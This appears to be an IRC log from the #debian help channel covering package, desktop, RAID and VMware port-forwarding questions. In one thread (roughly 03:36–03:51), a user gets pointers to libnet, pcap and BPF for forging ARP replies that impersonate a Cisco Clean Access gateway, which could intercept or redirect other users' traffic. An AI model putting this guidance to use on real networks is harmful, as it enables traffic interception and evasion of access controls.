| 03:32.14 | stew | markybob: no, why? if you meant the conversation to be private, please use /msg |
| 03:32.14 | tulioanjos | curt: thanks |
| 03:32.26 | javiolo | Wedge^ http://lists.debian.org/debian-devel/1997/10/msg00888.html |
| 03:32.26 | kizmet | !+info kernel-image-2.6.14-1-686-smp |
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| 03:32.37 | E0x | hello |
| 03:32.41 | edward333 | hello |
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| 03:32.44 | dpkg | Package 'kernel-image-2.6.14-1-686-smp' does not exist. |
| 03:32.54 | markybob | stew, i answered the question that was asked. if you have something *useful* to add, then go ahead. but what you added was incredibly irrelevent when the main problem would be ram usage. so basically keep your mouth shut if you dont know what the fuck it is that you're talking about |
| 03:32.55 | jaredj | SYN ACK |
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| 03:33.14 | stew | markybob: you are being unappropriate |
| 03:33.14 | tulioanjos | @udp attack ftw |
| 03:33.20 | curt | i agree |
| 03:33.33 | stew | markybob: and my comment was certainly relevant, and useful |
| 03:33.39 | Wedge^ | javiolo: thanks |
| 03:33.55 | edward333 | can i talk with ugly_duck |
| 03:33.59 | javiolo | Wedge^ np |
| 03:34.04 | kizmet | !+info kernel-image-2.6.14-2-686-smp |
| 03:34.23 | dpkg | Package 'kernel-image-2.6.14-2-686-smp' does not exist. |
| 03:34.35 | KerPlunk | kizmet: linux-image not kernel-image |
| 03:34.48 | KerPlunk | kizmet: linux-image is more accurate, since there are many kernels, not just linux. |
| 03:35.08 | goeruon | i have set up a repo on my hd. But when i use apt online, the files are stored in ../archives. how to set up such that apt online will update my local repo? |
| 03:35.19 | kizmet | KernelPanique, hehe i tried before says it doesnt exist however there are nvidia kernel modules pre-compiled for it ? |
| 03:35.51 | KerPlunk | !tell kizmet about nvidia one liner |
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| 03:35.56 | KerPlunk | kizmet: type that one line, and reboot and you're done. |
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| 03:36.15 | Xenguy | !beer Xenguy |
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| 03:36.50 | dannyp | SerajewelKS: looks like you'll have to edit the source |
| 03:36.54 | curt | !markybob |
| 03:36.54 | dpkg | [markybob] insane, or in need of sleep, or both, or needs someone to shout him a good aussie beer, or dumb enough to compile mozilla on a 266mhz with 80mb ram (it worked, too!), or for his dream ask apt about linux chick, or in a bad mood, or check out http://www.markybob.com !, or ask me about markybob help |
| 03:36.58 | kizmet | KernelPanique, sif :P |
| 03:37.00 | jaredj | !+spaten optimator? |
| 03:37.07 | SerajewelKS | dannyp: i'm looking at the source... i can't make heads or tails of it =/ |
| 03:37.48 | SerajewelKS | dannyp: it looks like arpspoof just sends out an ARP reply every two seconds |
| 03:37.56 | dannyp | SerajewelKS: yeah, that's exactly what it dos |
| 03:37.57 | dannyp | does |
| 03:38.08 | SerajewelKS | dannyp: i need it to look at incoming ARP replies and determine if it needs to respond to them, then do so with a specific hardware address. |
| 03:38.13 | dannyp | because you're not competing with anything, you can probably slow that down |
| 03:38.19 | dannyp | no you don't |
| 03:38.28 | SerajewelKS | dannyp: yes it do |
| 03:38.28 | goeruon | i have set up a repo on my hd. But when i use apt online, the files are stored in ../archives. how to set up such that apt online will update my local repo? |
| 03:38.29 | tulioanjos | curt this update list worked fine, thanks |
| 03:38.41 | SerajewelKS | dannyp: there are IPs floating around on this network that i *do not* want to spoof. |
| 03:38.42 | KerPlunk | !tell goeruon about repeat |
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| 03:38.59 | tulioanjos | !tell KerPlunk about ddos |
| 03:39.05 | tulioanjos | !tell tulioanjos about ddos |
| 03:39.12 | dannyp | SerajewelKS: I believe you want to change the fourth argument of arp_send in the main loop, or, you want to edit arp_send |
| 03:39.13 | KerPlunk | tulioanjos: /msg dpkg ddos |
| 03:39.14 | SerajewelKS | dannyp: plus each computer is in its own subnet, so i need to lift that restriction. |
| 03:39.18 | KerPlunk | !tell tulioanjos about msgdpkg |
| 03:39.30 | goeruon | !tell KerPlunk about shit |
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| 03:39.52 | SerajewelKS | !troll goeruon |
| 03:40.16 | dannyp | SerajewelKS: ... you want to tell machines on your subnet what mac address their router is at. |
| 03:40.24 | SerajewelKS | dannyp: no |
| 03:40.31 | dannyp | is that not what you described? |
| 03:40.33 | SerajewelKS | dannyp: i want to tell machines not on my subnet where their router is |
| 03:40.45 | SerajewelKS | dannyp: because of how Clean Access works, each machine gets put in a /4 subnet |
| 03:40.49 | SerajewelKS | dannyp: er, not /4 |
| 03:41.00 | jaredj | <PROTECTED> |
| 03:41.01 | SerajewelKS | dannyp: /2 i believe, two IPs |
| 03:41.08 | goeruon | !tell SerajewelKS about mfsob |
| 03:41.20 | SerajewelKS | !ops goeruon abusing dpkg |
| 03:41.20 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, gravity, azeem: goeruon abusing dpkg |
| 03:41.34 | SerajewelKS | okay so /30 |
| 03:41.50 | SerajewelKS | whatever subnet gives four IPs: network ID, two IPs, and bcast IP |
| 03:41.53 | dannyp | SerajewelKS: arp is not IP based, your routers will not route it |
| 03:42.04 | SerajewelKS | dannyp: my "routers" are switches |
| 03:42.10 | SerajewelKS | dannyp: here's the setup |
| 03:42.15 | dannyp | we're on entirely different layers of the burrito |
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| 03:42.30 | SerajewelKS | dannyp: the CA server "spoofs" ARP for all of the gateway IPs |
| 03:42.42 | SerajewelKS | dannyp: each computer is in its own subnet, with two IPs: the gateway and itself |
| 03:42.48 | SerajewelKS | dannyp: CAS answers for all of the gateway IPs |
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| 03:42.57 | jaredj | ole! |
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| 03:43.22 | coywolf | !slice |
| 03:43.23 | SerajewelKS | dannyp: they all have the same hardware address. i can see their ARPs looking for the CAS gateway, so if i reply to each of them, spoofing the MAC address to be the single CAS MAC address, it should work. |
| 03:44.35 | dannyp | SerajewelKS: sounds like you have a lot of hacking ahead of you. the solution clearly lies in the libnet_build_ethernet() function to direct what the destination mac is of the packet, and the libnet_build_arp function to build the actual arp response |
| 03:45.00 | SerajewelKS | dannyp: i know the dest MAC that i want, it's on an index card in front of me |
| 03:45.15 | tulioanjos | someone give me a idea of how to benchmark my smp processor ? |
| 03:45.34 | dannyp | SerajewelKS: your question was how to do the raw IO, and I've more than led you to water on this. |
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| 03:45.41 | markybob | tulioanjos, http://www.tldp.org/HOWTO/Benchmarking-HOWTO.html |
| 03:45.47 | SerajewelKS | dannyp: basically i need to look at the last octet, if (((last_octet - 1) % 4) == 0) then i need to reply |
| 03:45.52 | dannyp | I'm going to go to a party now, and I wish you the best of luck. (Unless you want to hire me right now, in which case fuck the party) |
| 03:46.03 | tulioanjos | markybob so fast brô |
| 03:46.13 | SerajewelKS | dannyp: heh, no thanks.. the raw IO is what i need in this case |
| 03:46.50 | dannyp | SerajewelKS: you need libnet_build_ethernet to formulate the ethernet packet, libnet_build_arp to create the arp packet, and libnet_write_link_layer to send the packet to the wire |
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| 03:47.07 | SerajewelKS | dannyp: alright, any tips for reading from the wire? (a la pcap) |
| 03:47.31 | dannyp | SerajewelKS: to avoid reinventing the wheel, I'd use a bpf filter to keep packets that aren't of interest from reaching the program |
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| 03:47.59 | SerajewelKS | dannyp: bpf? |
| 03:48.08 | jaredj | berkeley packet filter |
| 03:48.33 | Wyzard | It's a kernel facility that lets you set up a filter on a raw socket so it only gives you packets which match the filter |
| 03:48.46 | dannyp | SerajewelKS: yeah, what jaredj said: it's the language used to set up a combinatorial packet filter |
| 03:48.52 | Wyzard | If you've used tcpdump, the expressions you use on its command line to say what packets you want are actually BPF filter expressions |
| 03:49.04 | dannyp | yup |
| 03:49.14 | SerajewelKS | alright, gotcha |
| 03:49.23 | Wyzard | They get compiled into bytecode which is used by a little packet processor in the kernel |
| 03:49.27 | SerajewelKS | i think i will build the pcap side first.. sounds simpler |
| 03:49.47 | Wyzard | libpcap has functions for setting up BPF filters, I believe |
| 03:50.00 | dannyp | if you're really interested in the nitty gritty bpf details, there was a usenix paper on it in like 1992 |
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| 03:50.19 | dannyp | 93, rather. McCanne and Jacobson |
| 03:50.23 | tyler | how far along the installation process can i be a user? meaning... make,make install,etc...as user? can i do the whole process as user? |
| 03:50.34 | dannyp | it was written in 1992, in proceedings of 1993 usenix |
| 03:51.02 | curt | and with all that you could just about grab anyone coming through and send them anywhere you want... |
| 03:51.03 | Wyzard | tyler: You typically shouldn't be compiling things from source, unless you're sure there's no alternative... packages are highly preferable |
| 03:51.13 | dannyp | for serious, for more help at this point (and at this time! It's nearly 11pm on a saturday night!) I'm going to start to charge you for consulting |
| 03:51.21 | dannyp | which is not a smartass response, it's me seriously looking for work |
| 03:51.34 | SerajewelKS | Wyzard: are ethereal's capture filter strings BPF expressions? |
| 03:51.37 | Jay-R | hello |
| 03:51.38 | jaredj | tyler: what wyzard said. but if there aren't packages, and you know what you're doing, you can put everything in your home directory and you won't need to be root for any of it |
| 03:51.42 | dannyp | SerajewelKS: no |
| 03:51.44 | Jay-R | guys can anybidy help me |
| 03:51.51 | Wyzard | SerajewelKS: yes... both ethereal and tcpdump use libpcap under the hood |
| 03:52.03 | Jay-R | when I start debian "sarge" it uses Gnome by default |
| 03:52.09 | dannyp | Wyzard: except ethereal's filter relies on all sorts of ethereal protocol filters that it has |
| 03:52.10 | Jay-R | how to switch to KDE? |
| 03:52.25 | jaredj | there is probably a "Session" menu at the login screen |
| 03:52.33 | jaredj | pick KDE from it before you finish typing your password |
| 03:52.36 | Wyzard | dannyp: well, ethereal has two types of filters -- the BPF filters that you use when capturing, and then its own "display filters" that you can run on the captured data |
| 03:52.39 | markybob | Jay-R, do you want to remove gnome? |
| 03:52.41 | Wyzard | dannyp: but go to your party :-) |
| 03:52.52 | Jay-R | no but I want to use KDE |
| 03:53.07 | markybob | Jay-R, are you using gdm? |
| 03:53.17 | Jay-R | yes gdm |
| 03:53.20 | SerajewelKS | Wyzard: that's what i thought, i was confused at first why capture/display were different, then i learned that the first are sent straight to libpcap. |
| 03:53.40 | markybob | Jay-R, do you see where you can pick which sesson you want to use? assuming you have kde already installed, it should show on the list. if you dont, then apt-get install kde |
| 03:53.48 | dannyp | Wyzard: ah, you're right. mea culpa, but that's a trick question ;) |
| 03:54.18 | Jay-R | kde is already installed |
| 03:54.24 | dannyp | Wyzard: but yes, essentially anything that is libpcap based will let you give bpf filters. they're a life saver if you're using snort to only look for a couple specific things |
| 03:54.37 | markybob | Jay-R, then just pick kde from the list in gdm |
| 03:54.43 | Jay-R | but debian runs GDM when its starting and theres no options for SESSION |
| 03:54.59 | dannyp | so if I'm not getting hired, I should go find the party |
| 03:55.09 | Wyzard | Jay-R: There's no session menu on the GDM login screen? |
| 03:55.10 | curt | Jay-R, at the login screen there are ()where you type your user name |
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| 03:55.24 | markybob | Jay-R, gdm != gnome. it's just a login manager that happens to be made by the gnome guys. but fine, this is probably what you're looking for: apt-get remove xdm gdm && apt-get install kdm |
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| 03:55.30 | Wyzard | Jay-R: If you're using GDM's "graphical greeter", try switching to a different theme... some themes omit some of the elements |
| 03:56.02 | kizmet | Is it OK if i run Testing for my Business desktop or would it be prefered to run Stable, Its just that testing has allways been stable enough for me... |
| 03:56.03 | Jay-R | GDM's graphical greeter is not displayed |
| 03:56.16 | Jay-R | i have to type startx to use gnome's GUI |
| 03:56.23 | markybob | Jay-R, you said you were using gdm |
| 03:56.23 | Wyzard | Jay-R: Then you're not using GDM |
| 03:56.23 | curt | markybob, thorough and to the point. |
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| 03:57.35 | Jay-R | yes.. bec. linux says "Starting GDM" but I get a prompt after this I log in as root then type startx to go to gnoems GUI |
| 03:58.14 | Wyzard | Jay-R: umm... why are you starting X as root? |
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| 03:58.35 | jaredj | yeah the screensaver doesn't work right when you run as root |
| 03:58.53 | cheal | kizmet: it's as you want. the best way to know a release's stability is to try it |
| 03:58.59 | jaredj | and if xterm can't start, it can't tell you why if you're running as ... well, nevermind that |
| 03:59.00 | Wyzard | and running an entire desktop session as root is just dumb |
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| 03:59.26 | tktktk | how do I pull invididual opackages from sid |
| 03:59.30 | tktktk | without changing my whole systme to unstable? |
| 03:59.47 | stew | tktktk: which are you running now? |
| 04:00.14 | Wyzard | tktktk: In /etc/apt/apt.conf, put this line: |
| 04:00.22 | jaredj | tktktk you probably want to do some 'pinning'. |
| 04:00.23 | Wyzard | tktktk: APT::Default-Release "stable"; |
| 04:00.45 | Wyzard | tktktk: Then you can add a sid line to your sources.list, and apt will still default to stable unless you specifically request a version from sid |
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| 04:00.52 | stew | Wyzard: that is a bad idea |
| 04:00.57 | Wyzard | stew: Why's that? |
| 04:01.02 | tktktk | I';m running whatever "stable" is |
| 04:01.25 | curt | sarge |
| 04:01.38 | stew | tktktk: its a bad idea to mix packages compiled for unstable into a stable system, you should use packages recompiled for stable /msg dpkg backports ; /msg dpkg simple sid backport |
| 04:02.16 | Wyzard | stew: "Default-Release" just pins an entire distribution at priority 990 |
| 04:03.00 | stew | Wyzard: right but as soon as he installs something depending on, say, a newer libc6, he's no longer really running stable |
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| 04:03.03 | jaredj | i have found it to be true that if you get an interesting package from unstable, it tends to pull in 40 of its friends |
| 04:03.39 | Wyzard | stew: That's true... I thought you were saying that Default-Release is a bad way to do pinning, sorry |
| 04:03.58 | curt | tktktk, what package where you lloking for? |
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| 04:04.07 | curt | *looking |
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| 04:05.42 | tktktk | emacs-color-themes |
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| 04:06.23 | stew | !depends emacs-color-themes |
| 04:06.53 | dpkg | emacs-color-themes: depends on emacs21 | xemacs21 |
| 04:07.11 | curt | tktktk, probably not a good idea > http://bugs.debian.org/cgi-bin/pkgreport.cgi?which=src&data=emacs-color-themes |
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| 04:07.41 | stew | tktktk: since those aren't versioned depends, you should just be able to download the .deb from http://pdo.debian.net/emacs-color-themes and just dpkg -i it |
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| 04:10.03 | curt | there is usually a reason packages are in sid and not testing |
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| 04:11.08 | markybob | !why is emacs-color-themes not in testing |
| 04:11.08 | dpkg | emacs-color-themes is not in testing for the reasons listed in http://bjorn.haxx.se/debian/testing.pl?package=emacs-color-themes |
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| 04:11.20 | tulioanjos | someone can help me in vmware ? |
| 04:11.22 | curt | exactly |
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| 04:11.29 | markybob | weird |
| 04:11.30 | Wyzard | tulioanjos: What about it? |
| 04:11.32 | markybob | tulioanjos, what's the vmware problem? |
| 04:11.41 | tulioanjos | Wyzard: i installed debian and openssh-server |
| 04:11.45 | tulioanjos | but no one can acess |
| 04:11.48 | unperson | I have a flash card that says it has "write-protection on". Is there a way to turn write-protection off? |
| 04:11.48 | kmsh | whats a good way to upgrade the kernel on (a remote server)? should i upgrade kernel then upgrade to testing or the opposite? |
| 04:11.55 | Wyzard | tulioanjos: Within a virtual machine, you mean? |
| 04:11.58 | BxL | how do I install a graphical partitionner (qtparted or gparted) on sarge? |
| 04:12.01 | tulioanjos | Wyzard yes |
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| 04:12.03 | tulioanjos | my ip: 201.10.177.36 |
| 04:12.04 | tulioanjos | port 22: |
| 04:12.08 | tulioanjos | try yourself to login |
| 04:12.19 | nima | unperson, some details? |
| 04:12.22 | markybob | tulioanjos, how did you configure vmware networking? |
| 04:12.24 | Wyzard | tulioanjos: And the virtual machine has that IP address? (Not the host) |
| 04:12.37 | frost | how to make turn on ident? |
| 04:12.40 | tulioanjos | Wyzard: i choose the NAT option |
| 04:12.43 | tulioanjos | in ethernet config |
| 04:12.46 | Wyzard | tulioanjos: That won't work |
| 04:12.50 | mindframe | whats a good way to upgrade the kernel on (a remote server)? should i upgrade kernel then upgrade to testing or the opposite? |
| 04:12.52 | jaredj | it pings |
| 04:13.03 | jaredj | ssh: ... connection refused |
| 04:13.12 | tulioanjos | exactly |
| 04:13.14 | unperson | nima, When I plug in the flash card, I see "sdc: Write Protect is on" is dmesg. |
| 04:13.16 | markybob | curt, it has a grave postint bug. did you see that? |
| 04:13.17 | tulioanjos | how do i need to configure my vmware ? |
| 04:13.28 | unperson | nima, The flash card can then only be mounted read-only. |
| 04:13.30 | Wyzard | tulioanjos: It doesn't work because the packets aren't getting to the virtual machine |
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| 04:13.34 | curt | markybob, that's what i tried to say |
| 04:13.38 | tulioanjos | Wyzard: uhn |
| 04:13.46 | tulioanjos | Wyzard: what i need to do, then ? |
| 04:13.50 | Wyzard | tulioanjos: That's the IP address of the *host* machine, not the virtual machine |
| 04:13.58 | Wyzard | tulioanjos: and the SSH server isn't running on the host machine |
| 04:14.02 | unperson | nima, Mounting with the -w option (read-write) gives, "mount: block device /dev/sdc1 is write-protected but explicit `-w' flag given". |
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| 04:14.10 | nima | unperson, what kind of card is it? |
| 04:14.21 | hanasaki | can debian do raid 10 or 0+1? |
| 04:14.23 | curt | <curt> tktktk, probably not a good idea > http://bugs.debian.org/cgi-bin/pkgreport.cgi?which=src&data=emacs-color-themes |
| 04:14.27 | sandman | apt-spy vs netselect-apt? |
| 04:14.28 | Wyzard | tulioanjos: If you have more than one IP address available, the simplest thing to do would be to configure the VM to use bridged networking rather than NAT |
| 04:14.36 | sandman | What's a good ircd? |
| 04:14.42 | sandman | Which one does freenode use? |
| 04:14.43 | tulioanjos | only 1IP |
| 04:14.43 | Wyzard | tulioanjos: That way the virtual machine can have its own IP address, completely separate from that of the host |
| 04:14.44 | tulioanjos | :( |
| 04:14.51 | frost | with making to bind ident of nick? |
| 04:14.52 | unperson | nima, This is a SimpleTech SD memory card (512 MB) |
| 04:15.07 | nima | sd cards have a switch on the side |
| 04:15.12 | Wyzard | tulioanjos: Then you'll need to set up port forwarding... I don't think VMware's NAT implementation supports that natively, so you'd have to do it with iptables |
| 04:15.22 | unperson | nima, I know some do. This one does not. |
| 04:15.37 | tulioanjos | Wyzard: but it is needed to do in windows, right ? |
| 04:15.54 | Wyzard | tulioanjos: I'm not sure what you mean by that |
| 04:16.05 | tulioanjos | Wyzard: no iptables for windows :p |
| 04:16.07 | tulioanjos | thats what i mean |
| 04:16.08 | curt | !ircd |
| 04:16.08 | dpkg | methinks ircd is a nuisance that keeps dicking around on channel. I'd kick him., or the daemon thats lets us talk, join channels, spam each other, etc...search freshmeat for a few |
| 04:16.22 | Wyzard | tulioanjos: ah... well, you'll have to find some way to do port forwarding in Windows, then |
| 04:16.33 | tulioanjos | Wyzard: uhn i will google that |
| 04:16.54 | unperson | nima, There seems to be a model of the card which is virtually identical except that it has a switch. But mine does not (and clearly never did). |
| 04:17.03 | Wyzard | tulioanjos: Your virtual machine has an "internal" IP address which the host can talk to, and you want connections to the host's port 22 to be forwarded to the VM's IP address |
| 04:17.12 | frost | with making to bind ident of nick? |
| 04:17.28 | *** join/#debian RedDrag0n (n=RedDrag0@OL131-202.fibertel.com.ar) |
| 04:17.29 | tulioanjos | inet addr:192.168.249.128 |
| 04:17.31 | tulioanjos | this :D |
| 04:17.38 | Wyzard | tulioanjos: yes |
| 04:17.54 | RedDrag0n | Hi... anybody know how to change the X cursor using a downloaded theme in Debian? I've tried gconf and some tutorials online with no avail :/ |
| 04:18.06 | nima | unperson, well, thats really weird |
| 04:18.11 | jaredj | unperson: there might be some obscure configuration item in the kernel config such that if you recompile your kernel, you might be able to get it to ignore the write protect |
| 04:18.17 | curt | hanasaki, yes |
| 04:19.08 | hanasaki | curt: thanks! umm where cna i find the info do to it? looks like raid 0+1 is the best of the three .. thoughts? |
| 04:19.09 | tulioanjos | Wyzard: http://www.portforward.com/english/routers/port_forwarding/DSLink/200e/default.htm |
| 04:19.19 | unperson | jaredj, Ok. I'll bear that in mind as an option. I think I seek out other possibilities first, however. |
| 04:19.26 | jaredj | :) |
| 04:20.01 | Wyzard | tulioanjos: That's for configuring a router appliance to do port forwarding |
| 04:20.03 | nima | unperson, the pins are clean and everything? |
| 04:20.09 | tulioanjos | Wyzard: yes :p |
| 04:20.13 | tulioanjos | thats my router |
| 04:20.23 | curt | hanasaki, isn't the 1+0 |
| 04:20.24 | Wyzard | tulioanjos: In this case, your host machine is acting as the router -- you need to do the port forwarding on the host machine itself |
| 04:20.26 | unperson | nima, Weird indeed. I found an image of a card that looks precisely the same except it has a little switch where mine has nothing but a smooth edge. I assumed it must be something that can be set electrically. |
| 04:20.36 | Wyzard | tulioanjos: Wait, this whole thing is behind another router? |
| 04:20.41 | tulioanjos | no |
| 04:20.52 | hanasaki | http://www.aspsys.com/hardware/raid_storage/raid_levels/#level_0_1 |
| 04:21.03 | tulioanjos | isp > router > my pc > vmware |
| 04:21.11 | hanasaki | curt: seems like the kernel only supports 0 and 1 not 10 and 0+1 |
| 04:21.24 | unperson | nima, Yes, they look clean. |
| 04:21.37 | poplix | funky problem in here : /lib/udev/ata_id identifies my swap partition as vfat... is this a known issue? |
| 04:21.39 | unperson | nima, It's possible the problem is with my card reader. |
| 04:21.40 | Wyzard | tulioanjos: So 201.10.177.36 is not actually your PC's IP address; it's the WAN address of your router? |
| 04:21.47 | tulioanjos | Wyzard yes |
| 04:21.50 | tulioanjos | :S |
| 04:21.57 | tulioanjos | no |
| 04:21.57 | curt | !raid 10 |
| 04:21.57 | dpkg | somebody said raid 10 was This form of RAID was originally called RAID 1+0 and is now commonly referred to as RAID 10. This is basically a bunch of RAID 1 drives linked together with RAID 0. Hence, you get the speed benefits of RAID 0 with the redundancy benefits of RAID 1. The only problem is that you use a lot of drives to do it. Like RAID 1, you only get half of the space that you've paid for. Of course, it may be worth it if you can rest easier at ... |
| 04:21.58 | tulioanjos | lol |
| 04:22.03 | tulioanjos | you can ping this IP |
| 04:22.13 | Wyzard | tulioanjos: Being able to ping it has nothing to do with anything |
| 04:22.13 | tulioanjos | thats my true ip, from www.whatismyip.com ... |
| 04:22.20 | tulioanjos | yep i know |
| 04:22.21 | Wyzard | tulioanjos: Right, that's your WAN IP |
| 04:22.30 | Wyzard | tulioanjos: Your PC's IP is something else, assigned to it by the router |
| 04:22.35 | unperson | nima, Everthing was working fine for a while, and then one morning if just suddenly wouldn't let me write anymore. |
| 04:22.40 | tulioanjos | my router ip is 192.168.1.1 |
| 04:22.54 | Wyzard | tulioanjos: And your PC is 192.168.1.x, where 'x' is something other than 1 |
| 04:22.57 | hanasaki | !raid 0+1 |
| 04:23.01 | tulioanjos | Wyzard: yep |
| 04:23.11 | mindframe | whats a good way to upgrade the kernel on (a remote server)? should i upgrade kernel then upgrade to testing or the opposite? |
| 04:23.25 | Wyzard | tulioanjos: You currently have your PC acting as *another* router, on behalf of the virtual machine, but you don't need that in this case |
| 04:23.43 | Wyzard | tulioanjos: Switch your virtual machine to bridged networking and it'll get another 192.168.1.x address from your router |
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| 04:23.50 | tulioanjos | Wyzard: try to ssh me now |
| 04:23.51 | Wyzard | tulioanjos: Then configure your router to forward port 22 to that address |
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| 04:24.06 | hanasaki | hmm wondering what raid to use |
| 04:24.07 | Wyzard | tulioanjos: If you haven't done what I just said, it won't work |
| 04:24.21 | tulioanjos | Wyzard: i added a nat rule to my router |
| 04:24.22 | Azar | mindframe: you really need that upgrade? |
| 04:24.25 | hanasaki | but still dotn see where linux can do raid 10 or o+1 just 1 and 0 and 5 |
| 04:24.34 | Wyzard | tulioanjos: Forwarding to what address? |
| 04:24.41 | tulioanjos | vmware ip |
| 04:24.42 | hanasaki | cat /proc/mdstat |
| 04:24.42 | hanasaki | Personalities : [linear] [raid0] [raid1] [raid5] [multipath] [raid6] [faulty] |
| 04:24.53 | mindframe | Azar yes imo (need grsecurity) |
| 04:24.57 | Wyzard | tulioanjos: That IP isn't accessible to the router |
| 04:24.59 | carcrashnights | For the life of me, I can't remember how to see which options a package was configured with. |
| 04:25.19 | Azar | mindframe: you might lose securities you enjoy from the stable |
| 04:25.20 | tulioanjos | Wyzard what i do then? |
| 04:25.27 | Wyzard | tulioanjos: Your PC is acting as a second router... if you want to use VMware NAT, you'll need to set up port forwarding both from the router to the PC, and then from the PC to the VM |
| 04:25.33 | BxL | how do I install a graphical partitionner (qtparted or gparted) on sarge? |
| 04:25.40 | Wyzard | tulioanjos: As I said, switch the virtual machine to use bridged networking |
| 04:25.51 | Wyzard | tulioanjos: That way it isn't hidden "behind" the PC acting as a router |
| 04:26.02 | mindframe | Azar: ok well does stable work w/ 2.6.14? |
| 04:26.14 | Wyzard | tulioanjos: With bridged networking, the VM has direct access to your real network, just as if it were another computer plugged into your router |
| 04:26.19 | tulioanjos | my router is configured to acess all ports of my pc |
| 04:26.20 | curt | hanasaki, basically the way they do raid 10 is to use the RAID-0 driver on top of several RAID-1 arrays |
| 04:26.25 | tulioanjos | then i dont need to do anything in router |
| 04:26.27 | tulioanjos | only in windows |
| 04:26.30 | Azar | mindframe: usually a higher kernel is needed to support some hardware drivers not supported in the stable version, a hike to the testing will have same reason == downside: you lose some or all of security |
| 04:26.32 | tulioanjos | i guess |
| 04:26.40 | hanasaki | curt: ah! thnaks |
| 04:26.44 | hanasaki | and ditto for 0+!? |
| 04:26.52 | Azar | mindframe: do you need the 2.6.14? a strong valid reason for? |
| 04:26.59 | curt | hanasaki, there is also a raid 10 driver but I am not sure it is bug free or tested |
| 04:27.06 | hanasaki | ah |
| 04:27.14 | hanasaki | hmm maybe i should stick /w mirroring>? |
| 04:27.20 | Wyzard | tulioanjos: When the virtual machine is using NAT, the router cannot talk to it directly -- it can only talk to the PC, so you have to configure the PC to forward the connection to the VM |
| 04:27.32 | curt | hanasaki, ;) |
| 04:27.48 | mindframe | Azar: i suppose not. maybe i can find some old versions of grsecurity |
| 04:28.13 | Wyzard | tulioanjos: You could do that, by figuring out how to do port-forwarding in Windows, but it's not necessary -- it's simpler to configure the VM to use bridged networking, so you can forward port 22 to it *directly* on the router, rather than having to go through a second layer of port-forwarding on the PC |
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| 04:29.49 | penrod | how is it I get this warning when nis has not been enabled ? "warning: dict_nis_init: NIS domain name not set - NIS lookups disabled" |
| 04:29.53 | Full669220 | Wyzard |
| 04:29.58 | Full669220 | Wyzard i acidentaly rebooted my modem |
| 04:30.11 | Azar | mindframe: http://packages.qa.debian.org/k/kernel-patch-grsecurity2.html |
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| 04:30.23 | marty | hey folks |
| 04:30.34 | penrod | sorry wrong channell |
| 04:30.59 | Wyzard | tulioanjos: What's the last message you got from me? |
| 04:31.00 | marty | i'm having lots of trouble finding two particular .deb files |
| 04:31.15 | tulioanjos | [00:27:28] <Wyzard> tulioanjos: When the virtual machine is using NAT, the router cannot talk to it directly -- it can only talk to the PC, so you have to configure the PC to forward the connection to the VM |
| 04:31.23 | mindframe | Azar: i would have to recompile for that righte? |
| 04:31.33 | Wyzard | tulioanjos: You could do that, by figuring out how to do port-forwarding in Windows, but it's not necessary -- it's simpler to configure the VM to use bridged networking, so you can forward port 22 to it *directly* on the router, rather than having to go through a second layer of port-forwarding on the PC |
| 04:31.49 | Azar | mindframe: the way I see it version 2.1.5-1 is provided for stable |
| 04:31.49 | marty | libbsd0 is one of them, and i haven't been able to find it on apt-get.org, or in the debian repository |
| 04:31.59 | Azar | mindframe: if so you could apt-get install it |
| 04:32.08 | mindframe | it is just a source package |
| 04:32.22 | Wyzard | tulioanjos: If I understood you correctly, I think you said you already have the router configured to forward *all* ports to the PC -- in that case, it'd be just as simple to just do the second layer of port forwarding on the PC |
| 04:32.23 | mindframe | i have to patch kernel source and recompile for it to work |
| 04:32.30 | tulioanjos | Wyzard: yes |
| 04:32.48 | tulioanjos | i got a BIMAP rule |
| 04:32.50 | Azar | mindframe: use apt-cache search grsecurity |
| 04:32.50 | marty | could anybody help me toward getting my hands on the aforementioned file? |
| 04:32.57 | Wyzard | tulioanjos: but that's a question of how to do port forwarding in Windows, which is offtopic here and not something I'm interested in anyway |
| 04:32.59 | mindframe | yes ive seen what it lists |
| 04:33.11 | tulioanjos | i got a BIMAP rules that redirect all ports, and RDR that redirect all ports too |
| 04:33.16 | tulioanjos | to make my router work |
| 04:33.25 | tulioanjos | i need to do the same, but with the vmware's ip, right ? |
| 04:33.32 | Wyzard | tulioanjos: So you can do that if you want; or, alternatively, you can switch the virtual machine to bridged and configure the router to forward to it directly |
| 04:33.46 | tulioanjos | Wyzard: my vmware is bridged now |
| 04:33.47 | Wyzard | tulioanjos: The router CANNOT forward packets to the virtual machine directly when the virtual machine is using NAT |
| 04:33.49 | Wyzard | ok |
| 04:33.56 | tulioanjos | Wyzard i understood that |
| 04:34.14 | Wyzard | tulioanjos: So just add a forwarding rule on the router for port 22 to the virtual machine's IP, which should be a 192.168.1.x one |
| 04:34.25 | Wyzard | tulioanjos: As for the specifics of how to configure your router to do that, I don't know |
| 04:34.53 | PowerPC | VMware? |
| 04:35.05 | Wyzard | yep |
| 04:35.07 | PowerPC | i got apache running on VMware and its accessable externally |
| 04:35.13 | tulioanjos | PowerPC o.o |
| 04:35.15 | PowerPC | windows31rox.homeip.net:81 |
| 04:35.17 | curt | marty, that (libbsd0) package isn't in debian at all. is it spelled right? |
| 04:35.29 | Wyzard | PowerPC: If you use bridged or set up the forwarding correctly, sure |
| 04:35.44 | PowerPC | i bridged it |
| 04:35.44 | marty | yeah, the package inetdutils-inetd wants it |
| 04:36.15 | tulioanjos | the vmware is bridged |
| 04:36.20 | tulioanjos | but i'm trying to configure my router now |
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| 04:36.29 | tulioanjos | i will acess my router via telnet and try to ping vmware ip |
| 04:36.43 | Wyzard | tulioanjos: Unless your router runs Debian, I can't really help you with that |
| 04:36.57 | tulioanjos | login: root |
| 04:36.57 | tulioanjos | password: |
| 04:36.57 | tulioanjos | Login Successful |
| 04:36.57 | tulioanjos | $ping 192.168.249.130 |
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| 04:37.18 | tulioanjos | lol |
| 04:37.24 | curt | !enter |
| 04:37.24 | dpkg | The enter key or carriage return key is not a substitute for punctuation. Use a period '.', comma ',', colon ':', semi-colon ';' emdash '---', or ellipsis '...' instead. Please don't just hit enter after every three words: it's really annoying, because it scrolls everyone's screens, and makes it harder to help you out (since we have to piece together what you're saying). |
| 04:37.25 | tulioanjos | my router can ping |
| 04:37.27 | curt | !lol |
| 04:37.28 | dpkg | If you want to laugh, use heh or hah or bwahahaha. lol doesn't sound like laughter at all and makes you look like an AOL user. |
| 04:37.34 | PowerPC | my bridged VM gets its IP from my ethernet adapter on here |
